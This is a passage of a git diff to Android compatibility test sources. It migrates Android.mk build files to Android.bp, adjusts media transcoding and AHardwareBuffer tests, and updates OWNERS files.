         if (fmt1 == fmt2) return true;
         if (fmt1 == null || fmt2 == null) return false;
@@ -562,7 +727,7 @@
     }
 
     public void testCancelTranscoding() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         Log.d(TAG, "Starting: testCancelTranscoding");
@@ -574,7 +739,7 @@
 
         VideoTranscodingRequest request =
                 new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, destinationUri,
-                        createMediaFormat())
+                        createDefaultMediaFormat())
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
@@ -638,7 +803,7 @@
                             .setClientPid(pid)
                             .setClientUid(uid)
                             .setPriority(MediaTranscodingManager.PRIORITY_REALTIME)
-                            .setVideoTrackFormat(createMediaFormat())
+                            .setVideoTrackFormat(createDefaultMediaFormat())
                             .build();
             Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
@@ -653,7 +818,7 @@
     }*/
 
     public void testTranscodingProgressUpdate() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -666,7 +831,7 @@
 
         VideoTranscodingRequest request =
                 new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, destinationUri,
-                        createMediaFormat())
+                        createDefaultMediaFormat())
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
@@ -705,7 +870,7 @@
     }
 
     public void testAddingClientUids() throws Exception {
-        if (shouldSkip() || !isVideoTranscodingSupported(mSourceHEVCVideoUri)) {
+        if (shouldSkip()) {
             return;
         }
         Log.d(TAG, "Starting: testTranscodingProgressUpdate");
@@ -718,7 +883,7 @@
 
         VideoTranscodingRequest request =
                 new VideoTranscodingRequest.Builder(mSourceHEVCVideoUri, destinationUri,
-                        createMediaFormat())
+                        createDefaultMediaFormat())
                         .build();
         Executor listenerExecutor = Executors.newSingleThreadExecutor();
 
@@ -782,27 +947,6 @@
         return videoFormat;
     }
 
-    private boolean isVideoTranscodingSupported(Uri fileUri) throws IOException {
-        MediaFormat sourceFormat = getVideoTrackFormat(fileUri);
-        if (sourceFormat != null) {
-            // Since destination format is not available, we assume width, height and
-            // frame rate same as source format, and mime as AVC for destination format.
-            MediaFormat destinationFormat = new MediaFormat();
-            destinationFormat.setString(MediaFormat.KEY_MIME, MIME_TYPE);
-            destinationFormat.setInteger(MediaFormat.KEY_WIDTH,
-                    sourceFormat.getInteger(MediaFormat.KEY_WIDTH));
-            destinationFormat.setInteger(MediaFormat.KEY_HEIGHT,
-                    sourceFormat.getInteger(MediaFormat.KEY_HEIGHT));
-            if (sourceFormat.containsKey(MediaFormat.KEY_FRAME_RATE)) {
-                destinationFormat.setInteger(MediaFormat.KEY_FRAME_RATE,
-                        sourceFormat.getInteger(MediaFormat.KEY_FRAME_RATE));
-            }
-            return isFormatSupported(sourceFormat, false)
-                    && isFormatSupported(destinationFormat, true);
-        }
-        return false;
-    }
-
     private boolean isFormatSupported(MediaFormat format, boolean isEncoder) {
         String mime = format.getString(MediaFormat.KEY_MIME);
         MediaCodec codec = null;
diff --git a/tests/tests/multiuser/OWNERS b/tests/tests/multiuser/OWNERS
index 2b344eb..cbd8eb1 100644
--- a/tests/tests/multiuser/OWNERS
+++ b/tests/tests/multiuser/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 71510
 include /tests/app/OWNERS
-
-bookatz@google.com
+include platform/frameworks/base:/MULTIUSER_OWNERS
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
index 478593f..c6573b9 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferGLTest.cpp
@@ -1501,11 +1501,6 @@
             // Compatibility code for ES 2.0 goes here.
             GLenum internal_format = 0, format = 0, type = 0;
             switch (desc.format) {
-                case GL_RGB565:
-                    internal_format = GL_RGB;
-                    format = GL_RGB;
-                    type = GL_UNSIGNED_SHORT_5_6_5;
-                    break;
                 case GL_RGB8:
                     internal_format = GL_RGB;
                     format = GL_RGB;
@@ -1522,6 +1517,11 @@
                     format = GL_RGBA;
                     type = GL_UNSIGNED_BYTE;
                     break;
+                case GL_RGB565:
+                    internal_format = GL_RGB;
+                    format = GL_RGB;
+                    type = GL_UNSIGNED_SHORT_5_6_5;
+                    break;
                 case GL_DEPTH_COMPONENT16:
                     // Available through GL_OES_depth_texture.
                     // Note that these are treated as luminance textures, not as red textures.
diff --git a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
index cd10b1c..61b27a0 100644
--- a/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
+++ b/tests/tests/nativehardware/jni/AHardwareBufferTest.cpp
@@ -42,6 +42,8 @@
 
 using testing::AnyOf;
 using testing::Eq;
+using testing::Ge;
+using testing::NotNull;
 
 #define FORMAT_CASE(x) case AHARDWAREBUFFER_FORMAT_ ## x: os << #x ; break
 
@@ -356,8 +358,7 @@
         EXPECT_LE(0, bytesPerStride);
         EXPECT_TRUE(bufferData != NULL);
 
-        int32_t fence = -1;
-        err = AHardwareBuffer_unlock(buffer, &fence);
+        err = AHardwareBuffer_unlock(buffer, nullptr);
         EXPECT_EQ(NO_ERROR, err);
     }
     AHardwareBuffer_release(buffer);
@@ -387,8 +388,7 @@
           NULL, &bufferData);
     EXPECT_EQ(NO_ERROR, err);
     EXPECT_TRUE(bufferData != NULL);
-    int32_t fence = -1;
-    err = AHardwareBuffer_unlock(buffer, &fence);
+    err = AHardwareBuffer_unlock(buffer, nullptr);
 
     AHardwareBuffer_release(buffer);
 }
@@ -435,8 +435,58 @@
     EXPECT_TRUE(planes.planes[2].rowStride >= 8);
 
     // Unlock
-    int32_t fence = -1;
-    err = AHardwareBuffer_unlock(buffer, &fence);
+    err = AHardwareBuffer_unlock(buffer, nullptr);
+    EXPECT_EQ(NO_ERROR, err);
+
+    AHardwareBuffer_release(buffer);
+}
+
+TEST(AHardwareBufferTest, PlanarLockAndUnlockYuvP010Succeed) {
+    AHardwareBuffer* buffer = NULL;
+    AHardwareBuffer_Desc desc = {};
+
+    desc.width = 32;
+    desc.height = 32;
+    desc.layers = 1;
+    desc.usage = AHARDWAREBUFFER_USAGE_CPU_READ_RARELY;
+    desc.format = AHARDWAREBUFFER_FORMAT_YCbCr_P010;
+
+    if (!AHardwareBuffer_isSupported(&desc)) {
+        ALOGI("Test skipped: AHARDWAREBUFFER_FORMAT_YCbCr_P010 not supported.");
+        return;
+    }
+
+    // Allocate the buffer.
+    int err = AHardwareBuffer_allocate(&desc, &buffer);
+    EXPECT_EQ(NO_ERROR, err);
+
+    // Lock its planes
+    AHardwareBuffer_Planes planes;
+    err = AHardwareBuffer_lockPlanes(buffer, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY, -1, NULL,
+        &planes);
+
+    // Make sure everything looks right
+    EXPECT_EQ(NO_ERROR, err);
+    EXPECT_EQ(3U, planes.planeCount);
+
+    const uint32_t yPlaneWidth = desc.width;
+    const uint32_t cPlaneWidth = desc.width / 2;
+    const uint32_t bytesPerPixel = 2;
+
+    EXPECT_THAT(planes.planes[0].data, NotNull());
+    EXPECT_THAT(planes.planes[0].pixelStride, Eq(bytesPerPixel));
+    EXPECT_THAT(planes.planes[0].rowStride, Ge(yPlaneWidth * bytesPerPixel));
+
+    EXPECT_THAT(planes.planes[1].data, NotNull());
+    EXPECT_THAT(planes.planes[1].pixelStride, Eq(bytesPerPixel * /*interleaved=*/2));
+    EXPECT_THAT(planes.planes[1].rowStride, Ge(cPlaneWidth * bytesPerPixel));
+
+    EXPECT_THAT(planes.planes[2].data, NotNull());
+    EXPECT_THAT(planes.planes[2].pixelStride, Eq(bytesPerPixel * /*interleaved=*/2));
+    EXPECT_THAT(planes.planes[2].rowStride, Ge(cPlaneWidth * bytesPerPixel));
+
+    // Unlock
+    err = AHardwareBuffer_unlock(buffer, nullptr);
     EXPECT_EQ(NO_ERROR, err);
 
     AHardwareBuffer_release(buffer);
@@ -476,8 +526,7 @@
     EXPECT_TRUE(planes.planes[0].rowStride >= 64);
 
     // Unlock
-    int32_t fence = -1;
-    err = AHardwareBuffer_unlock(buffer, &fence);
+    err = AHardwareBuffer_unlock(buffer, nullptr);
     EXPECT_EQ(NO_ERROR, err);
 
     AHardwareBuffer_release(buffer);
diff --git a/tests/tests/nativehardware/jni/Android.bp b/tests/tests/nativehardware/jni/Android.bp
index 8ad2b05..bf88b12 100644
--- a/tests/tests/nativehardware/jni/Android.bp
+++ b/tests/tests/nativehardware/jni/Android.bp
@@ -19,6 +19,9 @@
 cc_library_shared {
     name: "libahardwarebuffertest",
     compile_multilib: "both",
+    tidy_timeout_srcs: [
+        "AHardwareBufferGLTest.cpp",
+    ],
     srcs: [
         "AHardwareBufferGLTest.cpp",
         "AHardwareBufferTest.cpp",
diff --git a/tests/tests/nativemedia/aaudio/Android.bp b/tests/tests/nativemedia/aaudio/Android.bp
new file mode 100644
index 0000000..5a8f57d
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsNativeMediaAAudioTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "nativetesthelper",
+    ],
+    jni_libs: ["libnativeaaudiotest"],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    sdk_version: "current",
+}
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
deleted file mode 100644
index e286bd8..0000000
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsNativeMediaAAudioTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt nativetesthelper
-
-LOCAL_JNI_SHARED_LIBRARIES := libnativeaaudiotest
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-# Include the associated library's makefile.
-include $(LOCAL_PATH)/jni/Android.mk
diff --git a/tests/tests/nativemedia/aaudio/jni/Android.bp b/tests/tests/nativemedia/aaudio/jni/Android.bp
new file mode 100644
index 0000000..14e781d
--- /dev/null
+++ b/tests/tests/nativemedia/aaudio/jni/Android.bp
@@ -0,0 +1,44 @@
+// Copyright 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_library_shared {
+    name: "libnativeaaudiotest",
+    compile_multilib: "both",
+    srcs: [
+        "test_aaudio.cpp",
+        "test_aaudio_attributes.cpp",
+        "test_aaudio_callback.cpp",
+        "test_aaudio_mmap.cpp",
+        "test_aaudio_misc.cpp",
+        "test_aaudio_stream_builder.cpp",
+        "test_session_id.cpp",
+        "utils.cpp",
+    ],
+    include_dirs: ["system/media/audio/include"],
+    shared_libs: [
+        "libaaudio",
+        "liblog",
+    ],
+    static_libs: ["libbase_ndk"],
+    whole_static_libs: ["libnativetesthelper_jni"],
+    sdk_version: "current",
+    stl: "c++_static",
+}
diff --git a/tests/tests/nativemedia/aaudio/jni/Android.mk b/tests/tests/nativemedia/aaudio/jni/Android.mk
deleted file mode 100644
index 09f730f..0000000
--- a/tests/tests/nativemedia/aaudio/jni/Android.mk
+++ /dev/null
@@ -1,49 +0,0 @@
-# Copyright 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := libnativeaaudiotest
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MULTILIB := both
-
-LOCAL_SRC_FILES := \
-    test_aaudio.cpp \
-    test_aaudio_attributes.cpp \
-    test_aaudio_callback.cpp \
-    test_aaudio_mmap.cpp \
-    test_aaudio_misc.cpp \
-    test_aaudio_stream_builder.cpp \
-    test_session_id.cpp \
-    utils.cpp \
-
-LOCAL_C_INCLUDES := \
-    system/media/audio/include
-
-LOCAL_SHARED_LIBRARIES := \
-    libaaudio \
-    liblog
-
-LOCAL_WHOLE_STATIC_LIBRARIES := libnativetesthelper_jni
-
-LOCAL_CFLAGS := -Werror -Wall
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
index cc811cd..3849f1f 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_stream_builder.cpp
@@ -23,41 +23,12 @@
 
 #include <aaudio/AAudio.h>
 #include <android/log.h>
+#include <android-base/properties.h>
 #include <gtest/gtest.h>
-#include <sys/system_properties.h>
 #include <system/audio.h> /* FCC_LIMIT */
 
 #include "utils.h"
 
-// This was copied from "system/core/libcutils/properties.cpp" because the linker says
-// "libnativeaaudiotest (native:ndk:libc++:static) should not link to libcutils (native:platform)"
-static int8_t my_property_get_bool(const char *key, int8_t default_value) {
-    if (!key) {
-        return default_value;
-    }
-
-    int8_t result = default_value;
-    char buf[PROP_VALUE_MAX] = {'\0'};
-
-    int len = __system_property_get(key, buf);
-    if (len == 1) {
-        char ch = buf[0];
-        if (ch == '0' || ch == 'n') {
-            result = false;
-        } else if (ch == '1' || ch == 'y') {
-            result = true;
-        }
-    } else if (len > 1) {
-        if (!strcmp(buf, "no") || !strcmp(buf, "false") || !strcmp(buf, "off")) {
-            result = false;
-        } else if (!strcmp(buf, "yes") || !strcmp(buf, "true") || !strcmp(buf, "on")) {
-            result = true;
-        }
-    }
-
-    return result;
-}
-
 /**
  * See https://source.android.com/devices/tech/perf/low-ram
  * for more details.
@@ -65,7 +36,7 @@
  * @return true if running on low memory device
  */
 static bool isLowRamDevice() {
-    return (bool) my_property_get_bool("ro.config.low_ram", false);
+    return android::base::GetBoolProperty("ro.config.low_ram", false);
 }
 
 // Creates a builder, the caller takes ownership
diff --git a/tests/tests/nativemedia/sl/Android.bp b/tests/tests/nativemedia/sl/Android.bp
new file mode 100644
index 0000000..f3ae589
--- /dev/null
+++ b/tests/tests/nativemedia/sl/Android.bp
@@ -0,0 +1,55 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CtsNativeMediaSlTestCases",
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    include_dirs: [
+        "frameworks/wilhelm/include",
+        "frameworks/wilhelm/src/ut",
+    ],
+    srcs: ["src/SLObjectCreationTest.cpp"],
+    shared_libs: [
+        "libutils",
+        "liblog",
+        "libOpenSLES",
+    ],
+    static_libs: [
+        "libOpenSLESUT",
+        "libgtest",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    cflags: [
+        "-Wno-deprecated-declarations",
+    ],
+}
diff --git a/tests/tests/nativemedia/sl/Android.mk b/tests/tests/nativemedia/sl/Android.mk
deleted file mode 100644
index a3968a1..0000000
--- a/tests/tests/nativemedia/sl/Android.mk
+++ /dev/null
@@ -1,51 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsNativeMediaSlTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := \
-    $(call include-path-for, wilhelm) \
-    $(call include-path-for, wilhelm-ut)
-
-LOCAL_SRC_FILES := \
-    src/SLObjectCreationTest.cpp
-
-LOCAL_SHARED_LIBRARIES := \
-    libutils \
-    liblog \
-    libOpenSLES \
-
-LOCAL_STATIC_LIBRARIES := \
-    libOpenSLESUT \
-    libgtest
-
-LOCAL_CTS_TEST_PACKAGE := android.nativemedia.sl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CFLAGS := -Werror -Wall -Wno-deprecated-declarations
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/nativemedia/xa/Android.bp b/tests/tests/nativemedia/xa/Android.bp
new file mode 100644
index 0000000..270ebfe
--- /dev/null
+++ b/tests/tests/nativemedia/xa/Android.bp
@@ -0,0 +1,49 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CtsNativeMediaXaTestCases",
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    include_dirs: [
+        "frameworks/wilhelm/include",
+        "frameworks/wilhelm/src/ut",
+    ],
+    srcs: ["src/XAObjectCreationTest.cpp"],
+    shared_libs: [
+        "libutils",
+        "liblog",
+        "libOpenMAXAL",
+    ],
+    static_libs: ["libgtest"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/nativemedia/xa/Android.mk b/tests/tests/nativemedia/xa/Android.mk
deleted file mode 100644
index 8abfc7f..0000000
--- a/tests/tests/nativemedia/xa/Android.mk
+++ /dev/null
@@ -1,50 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE:= CtsNativeMediaXaTestCases
-LOCAL_LICENSE_KINDS:= SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS:= notice
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := \
-    $(call include-path-for, wilhelm) \
-    $(call include-path-for, wilhelm-ut)
-
-LOCAL_SRC_FILES := \
-    src/XAObjectCreationTest.cpp
-
-LOCAL_SHARED_LIBRARIES := \
-  libutils \
-  liblog \
-  libOpenMAXAL \
-
-LOCAL_STATIC_LIBRARIES := \
-  libgtest \
-
-LOCAL_CFLAGS := -Wall -Werror
-
-LOCAL_CTS_TEST_PACKAGE := android.nativemedia.xa
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/nativemidi/Android.bp b/tests/tests/nativemidi/Android.bp
new file mode 100644
index 0000000..411e984
--- /dev/null
+++ b/tests/tests/nativemidi/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+// NativeMidiEchoTest
+android_test {
+    name: "CtsNativeMidiTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: ["java/**/*.java"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "cts-midi-lib",
+    ],
+    jni_libs: ["libnativemidi_jni"],
+    libs: ["android.test.base.stubs"],
+    compile_multilib: "both",
+    sdk_version: "current",
+    stl: "c++_static",
+}
diff --git a/tests/tests/nativemidi/Android.mk b/tests/tests/nativemidi/Android.mk
deleted file mode 100755
index 8b91117..0000000
--- a/tests/tests/nativemidi/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-#
-# NativeMidiEchoTest
-#
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, java)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt cts-midi-lib
-LOCAL_JNI_SHARED_LIBRARIES := libnativemidi_jni
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_PACKAGE_NAME := CtsNativeMidiTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MULTILIB := both
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/nativemidi/jni/Android.bp b/tests/tests/nativemidi/jni/Android.bp
new file mode 100644
index 0000000..34cdc3e
--- /dev/null
+++ b/tests/tests/nativemidi/jni/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test_library {
+    name: "libnativemidi_jni",
+    compile_multilib: "both",
+    srcs: ["native-lib.cpp"],
+    cflags: [
+        "-Wall",
+        "-Wextra",
+        "-Werror",
+        "-O0",
+    ],
+    sdk_version: "current",
+    stl: "c++_static",
+    shared_libs: [
+        "libamidi",
+        "liblog",
+        "libnativehelper_compat_libc++",
+        "libmediandk",
+    ],
+    whole_static_libs: ["libnativetesthelper_jni"],
+    static: {
+        enabled: false,
+    },
+}
diff --git a/tests/tests/nativemidi/jni/Android.mk b/tests/tests/nativemidi/jni/Android.mk
deleted file mode 100644
index 52f889b..0000000
--- a/tests/tests/nativemidi/jni/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE := libnativemidi_jni
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MULTILIB := both
-
-LOCAL_SRC_FILES := native-lib.cpp
-
-LOCAL_CFLAGS += -Wall -Wextra -Werror -O0
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-
-LOCAL_SHARED_LIBRARIES := libamidi liblog
-LOCAL_WHOLE_STATIC_LIBRARIES := libnativetesthelper_jni
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/net/OWNERS b/tests/tests/net/OWNERS
new file mode 100644
index 0000000..8dfa455
--- /dev/null
+++ b/tests/tests/net/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 31808
+set noparent
